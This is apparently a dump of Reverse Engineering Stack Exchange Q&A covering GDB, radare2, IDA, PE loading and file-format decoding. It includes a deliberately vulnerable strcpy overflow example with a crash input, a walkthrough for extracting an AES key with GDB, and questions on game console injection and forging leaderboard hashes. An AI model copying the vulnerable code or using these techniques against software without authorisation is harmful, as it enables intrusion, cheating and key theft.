    I don't recognise this as any particular method of encoding. It may even have some kind of compression, although I doubt that when I consider that the frames are longer than all the data simply printed as one long string.

    \n\n

    What should I do to further my investigation?

    \n", "Title": "How to reverse engineer dash cam metadata", "Tags": "|file-format|packet|", "Answer": "

    Looking at the files distributed with the software, the video playing part is done via Flowplayer, embedded in these files:

    \n\n
    assets/webthings/local_me.html\nassets/webthings/local_me_OSM.html\nassets/webthings/local_me_slowmo.html\nassets/webthings/local_me_with_file_select.html\n
    \n\n

    These functions also control updating the UI fields - apparently flowplayer provides the subtitle (caption) data via a callback. Search for a function \"parse_gps_data\". In the function \"zgps_decode\" is the actual decoding routine which is a simple one-to-one substitution.

    \n\n

    Implementation:

    \n\n
    #include <stdio.h>\n\nconst char *decode_table = \"#I8XQWRVNZOYPUTA0B1C2SJ9K.L,M$D3E4F5G6H7\";\n\nvoid decode_in_place(char *s) {\n    while (*s) {\n        *s = decode_table[*s-43];\n        s++;\n    }\n}\n\nint main(void) {\n    char data[] = \".+;;;D=;-;6;;;;D;JP;4;;;=D;P?;O;;;=D=L;-HO71G>F=;;;JJF:FNJNBDL=R?F3F;;=;PDLR;;F0F;;=DRFJJ?DRJF??;J=LF;;;D;F:*59~\";\n    decode_in_place(data);\n    printf(\"%s\", data);\n    return 0;\n}\n// Output: X#000.1080Y0000.0360Z0001.0620G0001.1408$GPRMC,100033,A,5359.4172,N,00106.4700,W,001.7,332.73,220314,000.0,A\n
    \n\n

    The same html files contain a comment on how to interpret this data:

    \n\n
    X0000.0000Y0000.0000Z0000.0000G0000.0000$GPRMC,UTS_Position,Status,Latitude,N/S,Longitude,E/W,Speed,Course_Over,Ground,Date,Magnetic_variation,Checksum~\n
    \n" }, { "Id": "11583", "CreationDate": "2015-12-17T20:50:58.517", "Body": "

    While trying to answer another question, I tried to set-up a Python script to automatize the extraction of an assembly execution trace. But, I am really not satisfied of this script and I would like to know how to improve it.

    \n\n

    First, here is the script:

    \n\n\n\n
    import gdb\n\ngdb.execute('break main')\ngdb.execute('run')\n\nwhile (True):\n    gdb.write (gdb.execute('x /i $pc', to_string=True).rstrip('\\n'), gdb.STDOUT)\n    gdb.execute('stepi', to_string=False)\n    gdb.flush ()\n
    \n\n

    Then, just execute:

    \n\n
    $> gdb -x ./script.py ./main 1> log.txt\n
    \n\n

    The problems that I would like to solve are as follow:

    \n\n\n\n

    So, if you know how to improve this script in any manner, I would be interested.

    \n", "Title": "How to get a full execution trace with Python gdb?", "Tags": "|disassembly|gdb|", "Answer": "

    Your question really seems to be \"How to get an instruction trace with GDB\". The use of Python appears to be incidental, except that you're using Python inside of GDB.

    \n\n

    GDB has native support for instruction tracing, via the record command. Using the command record full will record all changes to the process's state, and even allow reverse debugging (i.e. backward-stepping and replay).

    \n\n

    You can find more information here:\nhttps://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html

    \n\n

    Separately, if you would like to perform single-stepping and instruction tracing with Python-inside-GDB, your best bet is to use the Breakpoint class and use internal breakpoints which do not halt the UI. On architectures with variable-width instructions (i386, amd64) you will need to calculate the size of the current instruction. You will also need to resolve all jump and calls targets.

    \n\n

    If you look at the GDB source code you'll see how this all works in the event loop, and it is not exposed to the Python API. Search for STEP_OVER_NONE which is used for the stepi instruction (step exactly one machine instruction).

    \n\n

    If you're so inclined, you can do this in GDB with the gdb.Breakpoint and gdb.FinishBreakpoint types. However, you end up needing to parse instruction widths (on variable-width instruction ISAs like x86), and extract jump and call targets. GDB's Python API does not have any support for a single-step breakpoint, or resolving what the next instruction address will be. You can do both of those things pretty easily with Capstone and Unicorn.

    \n" }, { "Id": "11588", "CreationDate": "2015-12-18T11:09:29.103", "Body": "

    How can I examine a memory address in radare2 using registers? I would like to achive what this command does in gdb: x/s $ebp+0x4

    \n", "Title": "Examining memory in radare2", "Tags": "|radare2|", "Answer": "

    In addition to previous answers, you can also review memory via Visual panel (or just via Visual mode).

    \n\n
    drr        ; to show register values\ns rcx      ; for example, we're going to review address which is stores in rcx\nV!         ; Open visual pannels\nPress `m`  ; to select the menu panel\nView -> Hexdump\n
    \n\n

    You will see a new hex dump pannel. Just press Enter to open this panel in Zoom mode (Fullscreen).

    \n\n

    \"enter

    \n\n

    Note 0: You can go through pannels by tab.

    \n\n

    Note 1: To seek back - use shift + : to open console abd s- to seek back.

    \n" }, { "Id": "11591", "CreationDate": "2015-12-18T12:29:13.420", "Body": "

    I am learning radare2. Is there a way to demangle c++ functions during disassembling? For example in gdb

    \n\n
    set print asm-demangle\n
    \n\n

    changes

    \n\n
    callq 0x400a30 <_ZNSo3putEc@plt>\n
    \n\n

    to

    \n\n
    callq 0x400a30 <_std::ostream::put(char)@plt>\n
    \n\n

    edit:\nI had radare2 0.9.6 which comes with Ubuntu's synaptic package manager. I reinstalled it from https://github.com/radare/radare2. Now I see the asm.demangle variable after entering Ve, it is set to true, but names are still mangled.

    \n", "Title": "Demangle c++ functions in radare2", "Tags": "|radare2|", "Answer": "

    Check e asm.demangle, and set it to true or false as required.

    \n\n

    Is the radare2 version you are using the latest one?

    \n\n

    You should be able to view all the configuration data with e.

    \n\n

    Typing e?? should show you a complete list of configuration variables with their description. You can grep through the output for all the vars that have the pattern demangle with

    \n\n
    \n[0x00001d52]> e??~demangle\n        asm.demangle: Show demangled symbols in disasm\n        bin.demangle: Import demangled symbols from RBin\n            bin.lang: Language for bin.demangle\n[0x00001d52]>\n
    \n\n

    Radare2 needs to be told to load the demangle informations at startup, so you can set bin.demangle to true, and reopen the file:

    \n\n
     e bin.demangle = true\n oo \n
    \n\n

    Last but not least, you can provide a symbol name in its mangled form on a case by case basis, using the command iD:

    \n\n
    [0x7c810705]> iD cxx _ZNSo3putEc\nstd::ostream::put\n[0x7c810705]>\n
    \n\n

    By the way, a tip instead of asking a question here and waiting forever:\nradare2 is self documented, so you can begin by typing ? to get help, and then append ? to each command, like a?, or pd? and so on\u2026

    \n" }, { "Id": "11592", "CreationDate": "2015-12-18T12:36:52.517", "Body": "

    Is it known what the differences between the Window 7 and Windows 8 PE loader are?

    \n\n

    I'm trying to hand-craft a simple executable PE image file. It runs well in Windows 7, but is rejected by Windows 8.

    \n\n

    The file is linked here:\nhttp://lars.nocrew.org/tmp/W7-ok.exe

    \n\n
    Microsoft (R) COFF/PE Dumper Version 8.00.50727.762\n\nDump of file W7-ok.exe\nPE signature found\nFile Type: EXECUTABLE IMAGE\n\nFILE HEADER VALUES\n             14C machine (x86)\n               0 number of sections\n               0 time date stamp Thu Jan 01 00:00:00 1970\n               0 file pointer to symbol table\n               0 number of symbols\n              E0 size of optional header\n             10F characteristics\n                   Relocations stripped\n                   Executable\n                   Line numbers stripped\n                   Symbols stripped\n                   32 bit word machine\n\nOPTIONAL HEADER VALUES\n             10B magic # (PE32)\n            0.00 linker version\n               0 size of code\n               0 size of initialized data\n               0 size of uninitialized data\n             24C entry point (0040024C)\n               0 base of code\n               0 base of data\n          400000 image base (00400000 to 0040025B)\n               4 section alignment\n               4 file alignment\n            0.00 operating system version\n            0.00 image version\n            4.00 subsystem version\n               0 Win32 version\n             25C size of image\n             230 size of headers\n               0 checksum\n               3 subsystem (Windows CUI)\n               0 DLL characteristics\n               0 size of stack reserve\n               0 size of stack commit\n               0 size of heap reserve\n               0 size of heap commit\n               0 loader flags\n               2 number of directories\n               0 [       0] RVA [size] of Export Directory\n             1B8 [       0] RVA [size] of Import Directory\n\n\n  Summary\n
    \n", "Title": "Difference between Win7 and Win8 PE loader?", "Tags": "|binary-analysis|pe|executable|binary-format|windows-8|", "Answer": "

    The difference is that Windows 8 requires all regular structures (exports, imports, TLS, exception handlers, relocations... that is, everything described by Data Directory entries) to be located wholly inside a section. The only exception is the Bound Import Table, which is stored external to any section, to avoid \"polluting\" the contents, since the Bound Import Table data are discarded after use. The Bound Import Table is also meaningless in the presence of ASLR, anyway, since the addresses will almost never match.

    \n\n

    In the absence of any section, you have to find the DLL bases and resolve the imports yourself.

    \n\n

    If you create a single section to hold your import table, then it will load in both environments.

    \n" }, { "Id": "11597", "CreationDate": "2015-12-18T15:50:47.480", "Body": "

    In this crackme solution, first the strings are found:

    \n
    $ rabin2 -z crackserial_linux\n\naddr=0x00000aa0 off=0x00000aa0 ordinal=000 sz=7 len=7 section=.rodata type=A string=User:\naddr=0x00000aa7 off=0x00000aa7 ordinal=001 sz=11 len=11 section=.rodata type=A string=Password:\naddr=0x00000ab2 off=0x00000ab2 ordinal=002 sz=10 len=10 section=.rodata type=A string=Good job!\naddr=0x00000abc off=0x00000abc ordinal=003 sz=10 len=10 section=.rodata type=A string=Try again\n
    \n

    after that, references for "Good job" are looked for:

    \n
    $ radare2 crackserial_linux\n\n -- How about a nice game of chess?\n[0x080488c4]> /c ab2\nf hit_0 @ 0x08048841   # 5: push 0x8048ab2\n[0x080488c4]>\n
    \n

    I tried the same thing, but for me it's not working:

    \n
    $ r2 crackserial_linux\n[0x080488d0]> !!rabin2 -z crackserial_linux\n[strings]\naddr=0x08048d80 off=0x00000d80 ordinal=000 sz=7 section=.rodata string=User:\naddr=0x08048d87 off=0x00000d87 ordinal=001 sz=9 section=.rodata string=Serial:\naddr=0x08048d90 off=0x00000d90 ordinal=002 sz=10 section=.rodata string=Good job!\naddr=0x08048d9a off=0x00000d9a ordinal=003 sz=10 section=.rodata string=Try again\n\n4 strings\n[0x080488d0]> /c d90\n[0x080488d0]> \n
    \n

    By the way, why are the strings in my case at different locations?

    \n", "Title": "Find reference to string in radare2", "Tags": "|radare2|", "Answer": "

    Also axt:

    \n\n

    Use like axt @ hello_world_n gives you the reference.

    \n" }, { "Id": "11606", "CreationDate": "2015-12-21T02:27:46.770", "Body": "

    I am trying to reverse engineer a firmkit in a bios, but in general I would like to know how can I debug a bios better.

    \n\n

    I found a way to attach IDA to a vmware instance usign a GDB session GDB Debugging With VMware, but it seems like I am always racing to against the bios and boot up of the VM. I am wanting to have it stop in a place that I can follow and make sense of.

    \n\n

    In general, What are some better practices when debugging a bios? Is IDA a decent debugger for this task? Is there something more meant for this task? Any other ideas are welcome also, I am really wanting to focus on reversing malware that is written to the bios.

    \n\n

    Thanks!

    \n", "Title": "How Can I Debug A Bios Better", "Tags": "|ida|debugging|gdb|bios|", "Answer": "

    You can try running your BIOS in QEMU. QEMU's -S option will pause boot until a debugger (gdb) is attached. IDA's debugger apparently works fine with QEMU, according to this article: https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_qemu.pdf

    \n" }, { "Id": "11609", "CreationDate": "2015-12-21T20:32:56.793", "Body": "

    I have been discussing the effectiveness of GNU libc's fclose() function to thwart successful exploitation of trivial vulnerabilities due to segmentation fault when called without a valid pointer to a FILE data structure (implementations of libc on other operating systems fail silently). For instance, given a simple vulnerable function using strcpy() such as:

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid\nfoo(const char *str)\n{\n  char buffer[256];\n  int ret = 123456;\n\n  FILE *fp = tmpfile();\n  strcpy(buffer, str);\n  if (ret != 500)\n    fclose(fp);\n}\n\nint \nmain(int argc, const char **argv)\n{\n  foo(argv[1]);\n  return 0;\n}\n
    \n\n

    Even when compiled with most memory-protection mechanisms disabled:

    \n\n
    cc -m32 -ggdb -fno-stack-protector -z execstack -z norelro main.c\n
    \n\n

    The function, regardless of being overwritten up to EIP would never return since:

    \n\n
    (gdb) r $(python -c \"print 'A' * 286\")\nProgram received signal SIGSEGV, Segmentation fault.\n0xf7e3e307 in fclose@@GLIBC_2.1 () from /lib/libc.so.6\n(gdb) ba\n#0  0xf7e3e307 in fclose@@GLIBC_2.1 () from /lib/libc.so.6\n#1  0x080484bc in foo (str=0x41414141 <error: Cannot access memory...\n#2  0x41414141 in ?? ()\n#3  0x41414141 in ?? ()\n
    \n\n

    Could there be a way to achieve code execution for such trivial function?. Since the ret variable can be overwritten, can it be set to 500 so that the if condition which determines if fclose() is called or not could be bypassed?

    \n", "Title": "Exploitability of Stack-based Buffer Overflows on functions ending with fclose()", "Tags": "|static-analysis|exploit|libc|", "Answer": "
    \n

    Since the ret variable can be overwritten, can it be set to 500 so\n that the if condition which determines if fclose() is called or not\n could be bypassed?

    \n
    \n\n

    If the attacker can overwrite the ret variable on the stack with an arbitrary value, then yes.

    \n\n

    And even if the attacker can't overwrite ret, they still might be able to overwrite fp with a value that is acceptable to fclose().

    \n\n

    Furthermore, your approach relies on several implementation-specific details. For example:

    \n\n\n" }, { "Id": "11617", "CreationDate": "2015-12-24T01:54:38.117", "Body": "

    This is seriously one question I couldn't find the answer to anywhere on Google.com

    \n\n

    When I mean mixed mode I mean .NET application which has unmanaged and managed code together.

    \n\n

    I used tools\n.NET Reflector 6 that crashes on native methods or shows only signature to them.\nAlso used dnEditor v0.76 beta which doesn't ever crash but also doesn't show any native x86 assembly for the areas it couldn't decompile.

    \n\n

    I get code like this

    \n\n
    [SuppressUnmanagedCodeSecurity]\n[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig)]\npublic unsafe static extern byte WritePointer(uint uint_1, void* pVoid_1, int int_4, int int_5, __arglist);\n
    \n\n

    Yet no way to see the x86 assembly for this method.

    \n\n

    I thought about injecting this dll file to a application then attaching ollydbg to it so I could dump the dll file and check it out in IDA PRO but this also doesn't work.

    \n\n

    IDA PRO 6.8 by default doesn't even load mixed .NET programs as both .NET IL Code and decompilable native asm..

    \n\n

    I ran out of options here, I'll try getting a real dll file and nopping it out somewhere in the middle and pasting the binary there maybe this way IDA PRO would detect it as a unmanaged dll file.

    \n\n

    But ya I ask you any tools to achieve this?

    \n", "Title": "How to retrieve native asm code from .NET mixed mode dll file?", "Tags": "|assembly|decompile|.net|", "Answer": "

    You need to select Portable executable for 80386 (PE) from the list of loaders in IDA instead of confirming the default (Microsoft.NET assembly).\n\"IDA

    \n" }, { "Id": "11620", "CreationDate": "2015-12-24T07:49:17.627", "Body": "

    I'm using a .gdbinit file that is supposed to print the values of all registers at every hook_stop, followed by the stack and data frames. However, when running many programs, there are often segment registers that are unavailable, which is causing me problems. The script aborts when it encounters such a register. I get the error message: Error while running hook_stop: value is not available. Because of the error, none of the remaining segment registers are printed, nor are the stack and data frames.

    \n\n

    I want to know if there is a way to handle the error in the gdb scripting language, or better yet, just test if a register is available, and only print it if it is. I've tried:

    \n\n
    if $ds\n    printf \" %04X  \", $ds\nelse\n    printf \" ----  \"\nend\n
    \n\n

    but that's still giving me the error. I read through the docs for hours and couldn't find anything that worked. Any ideas?

    \n", "Title": "How to test if register value is unavailable in gdb?", "Tags": "|gdb|", "Answer": "

    I've figure it out. You can figure out if a value is available by inspecting it via python:

    \n\n

    I've create a convenience function which you can call from your .gdbinit to easily check if the value is available.

    \n\n

    Save this in a python file and source it in your .gdbinit:

    \n\n
    class IsValid (gdb.Function):\n    def __init__ (self):\n        super (IsValid, self).__init__(\"isvalid\")\n\n    def invoke (self, var):\n        if var.__str__() == \"<unavailable>\":\n            return 0\n        else:\n            return 1\n\nIsValid ()\n
    \n\n

    By calling this convenience function, you can branch to handle the error:

    \n\n
    if ($isvalid($ds))\n    printf \" %04X  \", $ds\nelse\n    printf \" ----  \"\nend\n
    \n" }, { "Id": "11628", "CreationDate": "2015-12-24T19:54:41.233", "Body": "

    I want to make a program that injects a string into the game's developer's console. (Call of Duty: Modern Warfare 2 in this case) How would I approach this? Would I need to find the console's memory address and write memory to that or is that the wrong approach?

    \n", "Title": "Inject into game developer's console", "Tags": "|windows|injection|", "Answer": "

    In Call of Duty games you can search for the string \"xpartygo\" and xref that with IDA. That way you'll find Cmd_ExecuteSingleCommand.

    \n" }, { "Id": "11635", "CreationDate": "2015-12-26T07:44:51.537", "Body": "

    Little knowledge of assembly can be a problem sometimes.

    \n\n
     push       ebp\n lea        eax,[ebp-3C0]\n call       005A0E30\n pop        ecx\n mov        edx,dword ptr [ebp-3C0]\n lea        eax,[ebp-20]\n call       @UStrLAsg\n push       ebp\n lea        eax,[ebp-3C4]\n call       005A1568\n pop        ecx\n
    \n\n

    Just as the above code, I am trying to understand what is happening but I cannot understand the instructions lea followed by a call.

    \n\n

    Maybe if I had an idea of what @UstrLAsg means I would start to get what is going on there or maybe someone out there can give me a hint.

    \n", "Title": "what is the meaning of UsrLAsg in assembly?", "Tags": "|assembly|x86|", "Answer": "
    \n
    mov        edx,dword ptr [ebp-3C0]\n
    \n
    \n\n

    This instruction sets register edx to the value of the DWORD at memory address (ebp-3C0).

    \n\n
    \n
    lea        eax,[ebp-20]\n
    \n
    \n\n

    This instruction sets register eax to the value (ebp-20); despite the square brackets in the instruction, there is no memory dereferencing involved.

    \n\n
    \n
    call       @UStrLAsg\n
    \n
    \n\n

    This instruction calls the Delphi library function UStrLAsg(), which receives its input arguments via eax and edx. A little Googling shows that that function is used to assign a local Unicode string to a global variable, where edx points to the source string and eax points to the global variable.

    \n" }, { "Id": "11640", "CreationDate": "2015-12-28T00:12:04.703", "Body": "

    I am new to ASM. Working in IDA Pro 6.8 on a 64-bit executable.

    \n\n

    I am not able to modify the jmp address for this instruction:

    \n\n
        ........   \n    .text:0000000141BAFB57 loc_141BAFB57:                          \n    .text:0000000141BAFB57                 lea     rcx, [rbp+520h+var_20]\n    .text:0000000141BAFB5E                 lea     rdx, abc_data\n    .text:0000000141BAFB65                 call    sub_141CCAC80\n    .text:0000000141BAFB6A                 jmp     loc_141BAF9D6\n    .text:0000000141BAFB6A subroutine endp\n    .text:0000000141BAFB6A\n    .text:0000000141BAFB6F\n
    \n\n

    I want to either change the jmp address from loc_141BAF9D6 to loc_141BAFA9C or simply nop the instruction...

    \n\n

    every time I attempt this in IDA Pro 6.8 it moves the jmp (or the nop) instruction outside the subroutine endp closing, and therefore IDA gives me now a SP-Analysis failed error... example:

    \n\n
    .text:0000000141BAFB57 loc_141BAFB57:                          \n.text:0000000141BAFB57                 lea     rcx, [rbp+520h+var_20]\n.text:0000000141BAFB5E                 lea     rdx, abc_data\n.text:0000000141BAFB65                 call    sub_141CCAC80\n.text:0000000141BAFB65 subroutine endp ; sp-analysis failed\n.text:0000000141BAFB65\n.text:0000000141BAFB6A                 jmp     loc_141BAFA9C\n.text:0000000141BAFB6F\n
    \n\n

    I've tried editing the instruction via Edit > Patch Program Assemble, directly in HEX view, using IDAPatcher, and using Fetanyl plugin... it always moves the instruction outside of the endp statement, breaking the code...

    \n\n

    Is this not possible in general or what am I doing wrong ?

    \n\n

    I've tried OllyDbg but it does not open 64-bit files...

    \n", "Title": "IDA Pro - Error When Modifying JMP Instruction", "Tags": "|ida|ollydbg|", "Answer": "

    It is possible. I think that it is bug in IDA (editing last instruction of the function removes it from the function, I succeeded to reproduce this behavior), but you can work it around by fixing the function after patching.

    \n\n

    The easiest way to do it is as follows:

    \n\n
      \n
    1. After doing the patching
      2. \n
    2. Place a cursor to the instruction removed from the function in IDA-View-A window (regular assembly window)
      3. \n
    3. and press E. This will define the end of function to the current instruction, which means to the address where it was before.
      4. \n
    \n\n

    You can do the same by editing the function end address in function properties dialog (Edit->Functions->Edit Function or Alt-P.\nGood luck.

    \n" }, { "Id": "11651", "CreationDate": "2015-12-30T10:31:57.637", "Body": "

    Using a forward proxy, I have logged two payloads that are POST requests to a site, and I was curious as to what the best way to determine how a particular attribute in the payloads was generated. Below are the two payloads:

    \n\n
    dedup_counter=2&leaderboard=2&scores=3563736&session=4FMzmwStjaRC&verifier=7e9282dbce68fe787be15f6633246fcd8297eb18\n
    \n\n

     

    \n\n
    dedup_counter=3&leaderboard=4&scores=10448&session=4FMzmwStjaRC&verifier=07bdb58cb2147b4ef0ca01110a74e4fb4c8e99c1\n
    \n\n

    I believe that the verifier attribute is an SHA-1 checksum since that's the most common 20-byte hashing method, though I cannot confirm this. The issue is, I don't know what it's a checksum of and I'd like to know how to go about determining the process that was used for generating it. Any advice? I'll be happy to provide more specific information upon request.

    \n", "Title": "Reverse-engineering the generation of a hash?", "Tags": "|exploit|deobfuscation|hash-functions|", "Answer": "

    Unique key names come in handy here. Short search on some of the names suggest that this is coming from the Pankia gaming SDK. Quick review confirms that verifier is SHA1 of some kind of game secret and a UUID.

    \n" }, { "Id": "11653", "CreationDate": "2015-12-30T14:58:05.243", "Body": "

    Is is possible to retrieve the dissassembly of Objective-C methods declared in Mach-O files using Radare 2 ?

    \n", "Title": "Method disassembly of Objective C Mach-O with Radare 2", "Tags": "|radare2|mach-o|", "Answer": "

    Essentially, it's the following workflow:

    \n\n
    r2 -A /path/to/binary   // load the binary and perform initial analysis\nafl                     // print function symbols\npdf @sym.of.interest    // disassemble\npdc @sym.of.interest    // \"decompile\" or generate pseudo code\n
    \n\n

    Here is an example of how to disassemble a function of MachoViewer:

    \n\n
    @0x4B6169:/$ r2 -A /Applications/MachOView.app/Contents/MacOS/MachOView 2>/dev/null\n -- Run .dmm* to load the flags of the symbols of all modules loaded in the debugger\n[0x100001da0]> afl | grep sym.__MachOLayout_get\n0x10000b252    4 49           sym.__MachOLayout_getSectionByIndex:_\n0x10000b283    4 49           sym.__MachOLayout_getSection64ByIndex:_\n0x10000b2b4    4 49           sym.__MachOLayout_getSymbolByIndex:_\n0x10000b2e5    4 49           sym.__MachOLayout_getSymbol64ByIndex:_\n0x10000b316    4 49           sym.__MachOLayout_getDylibByIndex:_\n[0x100001da0]> pdf @sym.__MachOLayout_getSymbolByIndex:_\n            ;-- func.10000b2b4:\n            ;-- method.MachOLayout.getSymbolByIndex::\n\u2552 (fcn) sym.__MachOLayout_getSymbolByIndex:_ 49\n\u2502           0x10000b2b4      55             push rbp\n\u2502           0x10000b2b5      4889e5         mov rbp, rsp\n\u2502           0x10000b2b8      89d0           mov eax, edx\n\u2502           0x10000b2ba      488b151f760f.  mov rdx, qword [rip + 0xf761f] ; [0x1001028e0:8]=176 LEA sym._OBJC_IVAR___MachOLayout.symbols ; sym._OBJC_IVAR___MachOLayout.symbols\n\u2502           0x10000b2c1      488b0c17       mov rcx, qword [rdi + rdx]\n\u2502           0x10000b2c5      488b541708     mov rdx, qword [rdi + rdx + 8] ; [0x8:8]=0x280000003\n\u2502           0x10000b2ca      4829ca         sub rdx, rcx\n\u2502           0x10000b2cd      48c1fa03       sar rdx, 3\n\u2502           0x10000b2d1      4839d0         cmp rax, rdx\n\u2502       \u250c\u2500< 0x10000b2d4      7306           jae 0x10000b2dc\n\u2502       \u2502   0x10000b2d6      488b04c1       mov rax, qword [rcx + rax*8]\n\u2502      \u250c\u2500\u2500< 0x10000b2da      eb07           jmp 0x10000b2e3\n\u2502      \u2502\u2502   ; JMP XREF from 0x10000b2d4 (sym.__MachOLayout_getSymbolByIndex:_)\n\u2502      \u2502\u2514\u2500> 0x10000b2dc      488d05e5fd0a.  lea rax, [rip + 0xafde5]   ; 0x1000bb0c8 ; sym.__MachOLayoutgetSymbolByIndex:_::notfound ; sym.__MachOLayoutgetSymbolByIndex:_::notfound\n\u2502      \u2502    ; JMP XREF from 0x10000b2da (sym.__MachOLayout_getSymbolByIndex:_)\n\u2502      \u2514\u2500\u2500> 0x10000b2e3      5d             pop rbp\n\u2558           0x10000b2e4      c3             ret\n[0x100001da0]> quit\n
    \n\n

    Generating some form of pseudo code (\"decompiling\") works similarly through the ingeniously logic command input:

    \n\n
    [0x100001da0]> pdc @sym.__MachOLayout_getSymbolByIndex:_\nfunction sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4 () {\n    loc_0x10000b2b4:\n\n       push rbp\n       rbp = rsp\n       eax = edx\n       rdx = qword sym._OBJC_IVAR___MachOLayout.symbols //[0x1001028e0:8]=176 ; \"__text\"\n       rcx = qword [rdi + rdx]\n       rdx = qword [rdi + rdx + 8] //[0x8:8]=0x280000003\n       rdx -= rcx\n       rdx >>= 3\n       var = rax - rdx\n       jae 0x10000b2dc          //unlikely\n       {\n        loc_0x10000b2dc:\n\n         //JMP XREF from 0x10000b2d4 (sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4)\n           rax = [sym.__MachOLayoutgetSymbolByIndex:_::notfound] //method.__MachOLayoutgetSymbolByIndex:_.notfound ; 0x1000bb0c8 ; method.__MachOLayoutgetSymbolByIndex:_.notfound\n       do\n       {\n            loc_0x10000b2e3:\n\n             //JMP XREF from 0x10000b2da (sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4)\n               pop rbp\n\n           } while (?);\n       } while (?);\n      }\n      return;\n\n}\n
    \n\n

    Inside hopper v4 you can do the same as follows:

    \n\n
    hopperv4 -e /Applications/MachOView.app/Contents/MacOS/MachOView\n
    \n\n

    This opens hopper and you can click on the \"Proc.\" tab, and search for the function. Once you click on it, you will see the following disassembly (radare2 1.5.0 0 @ darwin-x86-64 git.1.5.0, commit: HEAD build: 2017-05-31__14:31:32):

    \n\n
    000000010000b2b4         push       rbp                                         ; Objective C Implementation defined at 0x1000f5de8 (instance method), DATA XREF=0x1000f5de8\n000000010000b2b5         mov        rbp, rsp\n000000010000b2b8         mov        eax, edx\n000000010000b2ba         mov        rdx, qword [_OBJC_IVAR_$_MachOLayout.symbols]\n000000010000b2c1         mov        rcx, qword [rdi+rdx]\n000000010000b2c5         mov        rdx, qword [rdi+rdx+8]\n000000010000b2ca         sub        rdx, rcx\n000000010000b2cd         sar        rdx, 0x3\n000000010000b2d1         cmp        rax, rdx\n000000010000b2d4         jae        loc_10000b2dc\n\n000000010000b2d6         mov        rax, qword [rcx+rax*8]\n000000010000b2da         jmp        loc_10000b2e3\n\n                     loc_10000b2dc:\n000000010000b2dc         lea        rax, qword [__ZZ32-[MachOLayout getSymbolByIndex:]E8notfound] ; CODE XREF=-[MachOLayout getSymbolByIndex:]+32\n\n                     loc_10000b2e3:\n000000010000b2e3         pop        rbp                                         ; CODE XREF=-[MachOLayout getSymbolByIndex:]+38\n000000010000b2e4         ret\n
    \n\n

    Clearly, the pseudo-code inside hopper is at this moment still quite better than what I could get inside radare2. The above disassembly in pseudo code inside hopper (v4.2.1) reads:

    \n\n
    struct nlist * -[MachOLayout getSymbolByIndex:](void * self, void * _cmd, unsigned int arg2) {\n    rax = arg2;\n    rcx = self->symbols;\n    if (rax < SAR(*(self + *_OBJC_IVAR_$_MachOLayout.symbols + 0x8) - rcx, 0x3)) {\n            rax = *(rcx + rax * 0x8);\n    }\n    else {\n            rax = -[MachOLayout getSymbolByIndex:]::notfound;\n    }\n    return rax;\n}\n
    \n" }, { "Id": "11657", "CreationDate": "2015-12-30T18:19:26.763", "Body": "

    I'm trying to find out what value a certain parameter has when it's called (I know \"parameters\" are gone after compiled, but you get the idea). The pseudo-C and assembly code are:

    \n\n
    sub_171F4A0(ctx, aes_mode, KEY, &IV); // EVP_DecryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher, const unsigned char *key, const unsigned char *iv)\n\n.text:000000000040CEE6 ; 252:   sub_171F4A0(v110, v125, ptr, &v130);\n.text:000000000040CEE6\n.text:000000000040CEE6 loc_40CEE6:                             ; CODE XREF: sub_40CAD0+363j\n.text:000000000040CEE6                 mov     rdi, [rsp+400h+var_400]\n.text:000000000040CEEA                 lea     rcx, [rsp+400h+var_1C0]\n.text:000000000040CEF2                 mov     rsi, [rcx-28h]\n.text:000000000040CEF6                 mov     rdx, [rsp+400h+ptr]\n.text:000000000040CEFE                 call    sub_171F4A0\n
    \n\n

    I have already figured out IV value, but now I need KEY, which is 16 bytes.

    \n\n

    Then I ran gdb ./executable (Linux 64-bit ELF binary) and set a breakpoint at 0x40CEF6 and examined all the registers mentioned above (I have no idea which one holds the third parameter).

    \n\n
    (gdb) break *0x40CEF6\nBreakpoint 1 at 0x40cef6\n(gdb) run\nStarting program: /path/to/executable\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n\nBreakpoint 1, 0x000000000040cef6 in ?? ()\n(gdb) x/4x $rdi\n0x29d72f0:  0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) x/4x $rcx\n0x7fffffffe340: 0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) x/4x $rsi\n0x1c11620:  0x000001a3  0x00000010  0x00000010  0x00000010\n(gdb) x/4x $rdx\n0x2a09690:  0x724a5bac  0xa90b86f0  0xff9d8546  0x9910582b\n
    \n\n

    None of those values is the actual key, but $rdx seems to be the best candidate to hold the key value.

    \n\n

    However, since it's a pointer, I thought I should examine 0x724a5baca90b86f0, just in case, which didn't work:

    \n\n
    (gdb) x/4x 0x724a5baca90b86f0\n0x724a5baca90b86f0: Cannot access memory at address 0x724a5baca90b86f0\n
    \n", "Title": "Reverse engineering parameter value on subroutine call", "Tags": "|gdb|encryption|", "Answer": "

    Set your breakpoint on address 0x0040CEFE and examine the memory pointed to by rdx at that point.

    \n" }, { "Id": "11659", "CreationDate": "2015-12-30T22:06:56.027", "Body": "

    Hello,

    \n\n

    I'm from Uruguay so I'll make my best effort to explain my \"problem\" in english.\nI want to read some text that is inside a .DAT file, but is \"encrypted\" or \"compressed\" (I don't know which is the right \"term\" for this). The file is from the game SMITE, and this file has basically most of the text in the game (like unreleased Item descriptions) and that's why I want to read the file :D

    \n\n

    Previous versions of the file could be readed with Notepad ++, like this:\nhttps://i.stack.imgur.com/LCi71.png

    \n\n

    But current versions are just random letters and NULL characters. (I can't post a picture because of the \"only two links\" restriction).

    \n\n

    I'm interested in just two files. One, is named \"Lang_INT.dat\", inside the Localization folder, there is another file in that folder named \"GFxTranslation.int\", which has some text that appears in the Lobby Screen and things like that, that's why the \"Localization\" folder has to be where the text is... but in the first picture that I shared, you can see text that appears in-game and also in the lobby screen, and it's on another folder named \"Content\" and the file is named \"assembly.dat\", with another file named \"behavior_trees.dat\" but I think that file is not important to me.

    \n\n

